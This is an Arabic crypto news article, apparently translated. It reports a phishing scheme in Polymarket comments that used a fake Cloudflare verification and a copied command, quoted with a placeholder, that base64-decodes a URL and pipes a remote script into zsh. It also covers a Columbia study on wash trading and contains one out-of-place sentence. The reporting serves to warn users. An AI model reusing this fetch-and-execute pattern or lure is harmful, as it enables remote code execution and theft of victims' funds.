أحدث الأخبار
مختار لك

روابط تصيّد في الأسواق الخاصة بـ Polymarket: مستخدمون يرفعون مستوى التنبيه

بقلمهانا كولي مورهانا كولي مور 3 دقائق قراءة
روابط التصيّد الاحتيالي في الأسواق الخاصة بـ Polymarket: مستخدمون يرفعون نداء استغاثة.
  • أثار مستخدمو X مخاوف بشأن السوق الخاص بـ Polymarket، زاعمين أنه يُستغل من قبل الهاكرز. 
  • ويُبلغ عن أن الهاكرز سرقوا أكثر من 500,000 دولار وهم يعملون من خلال أقسام التعليقات في Polymarket.
  • فقط بعد أيام من ادعاء باحثين من جامعة كولومبيا بأن حجم التداول في Polymarket مدعوم بالتداول الغشّائي من قبل المستخدمين. 

تظهر Polymarket مرة أخرى في العناوين الرئيسية، وهذه المرة لأن أحد متداوليها الكبار الذين يحملون الاسم المستعار "25usdc"، أطلق إنذاراً بشأن مخطط يستغل قسم التعليقات في المنصة للاستفادة من المستخدمين غير الحذرين. 

يحدث هذا في وقت حاسم لمنصة Polymarket حيث تستعد لإعادة دخول السوق الأمريكي وتكافح للتفوق على المنافسين مثل Kalshi. 

روابط التصيّد الاحتيالي في الأسواق الخاصة بـ Polymarket: مستخدمون يرفعون نداء استغاثة.
لقطة شاشة لرسالة نموذجية من هاكر يعيد توجيه مستخدمي Polymarket للنقر على روابط تصيّد. المصدر: @25usdc عبر X/Twitter.

متداولو Polymarket في حالة تأهب عالية 

وفقاً لـ 25usdcقام المتسللون باستخدام قسم التعليقات في Polymarket لتنفيذ عملية احتيال، وقد خسر المستخدمون حتى الآن أكثر من 500,000 دولار.

قال أحد المستخدمين: 'يقولون: لماذا لا تتداول في الأسواق الخاصة على Polymarket؟ الاحتمالات هناك أفضل دائمًا!' كتب مستخدم باسم 25usdc، قبل أن يشرح كيفية عمل هذه العملية الاحتيالية بالكامل. 

وفقًا له، تبدأ العملية بشراء أسهم 'نعم' و'لا' لنفس السوق من حسابين منفصلين. بهذه الطريقة، تظل تعليقاتهم ظاهرة حتى عند تفعيل فلتر 'المُحافظ'. بعد ذلك، ينشرون رابط موقعهم بصيغة مشفرة.

تأخذ الرابط المستخدم غير الحذر إلى صفحة نظيفة تحتوي على شعار Polymarket وتطلب من المستخدمين تسجيل الدخول عبر البريد الإلكتروني. بمجرد التحقق من البريد الإلكتروني، تظهر نافذة جديدة تطلب من المستخدم التحقق من نشاطه، محاكيةً CloudFlare. 

ومع ذلك، يقول 25usdc إنه عند النقر على "نسخ"، يتم نسخ أمر يشبه هذا: "curl -kfsSL $(echo ‘ENCODED_STRING==’|base64 -d)|zsh"، وأول ما يفعله، إذا أخطأ المستخدم ولصقه في طرفية الأوامر (terminal)، هو فك تشفير السلسلة المشفرة بـ base64 (وهي عنوان URL للخادم)، ومن ثم جلب سكريبت من ذلك الخادم وتنفيذه فوراً. 

يمكن أن يحتوي السكربت المذكور على أي شيء، ويُزعم أنه لن يظهر أي تنبيه منبثق، وعندها يكون الضرر قد وقع، وقد يكون الحل الوحيد وفقًا لـ 25usdc هو إيقاف اتصال الواي فاي. 

«في النهاية، يقومون بجمع البيانات وتسجيل كل شيء على نظامك، ثم إرسال ملف مضغوط إلى خادمهم»، كتب 25usdc. «وبعد ذلك يستخدمون هذه البيانات لتسجيل الدخول إلى حساباتك وسرقة أموالك.»

من بين الأمور الأخرى التي لاحظها هو مدى حذر المجموعة في عملياتها؛ فمثلًا، تقوم بتغطية آثارها عن طريق التبديل بين المحافظ بشكل متكرر، وتضليل المسار في كل خطوة، بل وحتى إغلاق الخادم الذي يرسل الحزم ويستقبل البيانات المسجلة عند عدم وجود ضحية نشطة.

«أعتقد أن أفضل طريقة للتعامل مع هذا الأمر هي السماح للمستخدمين الموثوقين بمراجعة التعليقات، أو إدخال نظام تصويت سلبي يخفي المنشورات التي حصلت على عدد كبير من التصويتات السلبية»، اختتم 25usdc كلامه مشيرًا إلى أن البسيط تنبيه لا يكفي أن يعرض Polymarket فقط. 

دراسة جديدة تدعي أن حجم تداولات Polymarket مدعوم بالتداول الغسيل

كما Cryptopolitan في يونيو أن DFS اقترحت لوائح جديدة للعملات المستقرة تهدف إلى مواءمتها مع قانون GENIUS ACT مع الحفاظ على ضوابطها الحالية. ويشمل ذلك التغطية الكاملة بالاحتياطيات والتدقيق المستقل., دراسة نُشرت مؤخرًا من قبل باحثين في جامعة كولومبيا تدّعي أن حجم النشاط على منصة Polymarket قد تم تضخيمه بشكل كبير عبر التداول الغسيل. 

التداول "الاصطناعي"، كما وصفه المؤلفون، تباين بمرور الوقت، لكنهم يقولون إنه شكّل في المتوسط 25% من جميع عمليات الشراء والبيع على Polymarket خلال السنوات الثلاث الماضية. 

لم تخضع الورقة العلمية لمراجعة الأقران بعد، لكنها متاحة بالفعل على منصة أبحاث الوصول المفتوح SSRN وهي قيد المراجعة من قبل Polymarket. 

للتوضيح، لا يتهم المؤلفون صراحةً بوليماركت بنفسها بالتداول الغسيل. ومع ذلك، فقد سلطوا الضوء على عناصر البنية القائمة على العملات الرقمية في المنصة التي تجعل هذا الادعاء معقولاً.  

كما أشاروا إلى أن عملاء الشركة قد يكونون شاركوا بشكل مستقل في هذا النوع من التداول الغسيل في محاولة لتحسين فرصهم في الحصول على رمز رقمي خاص، وهو ما ألمح مؤسس الشركة، شايين كوبلان، إلى إمكانية إطلاقه في وقت سابق من شهر أكتوبر. 

"أنا متفائل بأن يرحب Polymarket بالتحليل الوارد في ورقتنا البحثية،" قال ياش كانوريا، أستاذ في كلية إدارة الأعمال بجامعة كولومبيا وواحد من المؤلفين الأربعة للورقة، في رسالة بريد إلكتروني. "التداول الغسيل لا يضيف سيولة أو معلومات إلى السوق، لذا يبدو من المفيد التمييز بين الحجم الأصلي وغير الأصلي."

إذا كان جزء من حجم تداولات Polymarket حقيقيًا هو مجرد "وهمي"، فإن الدراسة تدعي أنه قد يُغيّر فهم القوة النسبية لـ Polymarket في القطاع، كما قد يُقوّض الفكرة السائدة بأن أسواق التنبؤ تعكس "حكمة الحشد الأكبر."

"إن احتمالية حدوث تداول غسيل على نطاق واسع تعني أن الحجم قد يكون غير موثوق كمقياس للنشاط الحقيقي للمنصة، خاصة في البورصات القائمة على العملات الرقمية التي قد تفتقر إلى الضوابط المناسبة،" خلص المؤلفون.

أذكى العقول في عالم العملات الرقمية يقرأون بالفعل نشرتنا الإخبارية. هل تريد الانضمام؟ انضم إليهم.

شارك هذه المقالة

إخلاء مسؤولية. المعلومات المقدمة ليست نصيحة تداول. Cryptopolitan.com لا تتحمل أي مسؤولية عن أي استثمارات تتم بناءً على المعلومات المقدمة في هذه الصفحة. نوصي بشدة بإجراء بحث مستقل و/أو الاستعانة بمستشار مؤهل قبل اتخاذ أي قرارات استثمارية.

هانا كولي مور

هانا كولي مور

هانا كاتبة ومحرّرة تمتلك خبرة تمتد لأكثر من عقد في كتابة المدونات وتغطية الفعاليات في مجال العملات الرقمية. في موقع كريبتوبوليتان، تساهم هانا في صفحة الأخبار من خلال تغطية وتحليل أحدث التطورات في مجالات التمويل اللامركزي (DeFi)، والأصول الواقعية (RWA)، وتنظيم العملات الرقمية، والذكاء الاصطناعي، وتقنيات الحدود الجديدة. تخرجت هانا من جامعة أركاديا بدرجة البكالوريوس في إدارة الأعمال.

المزيد من الأخبار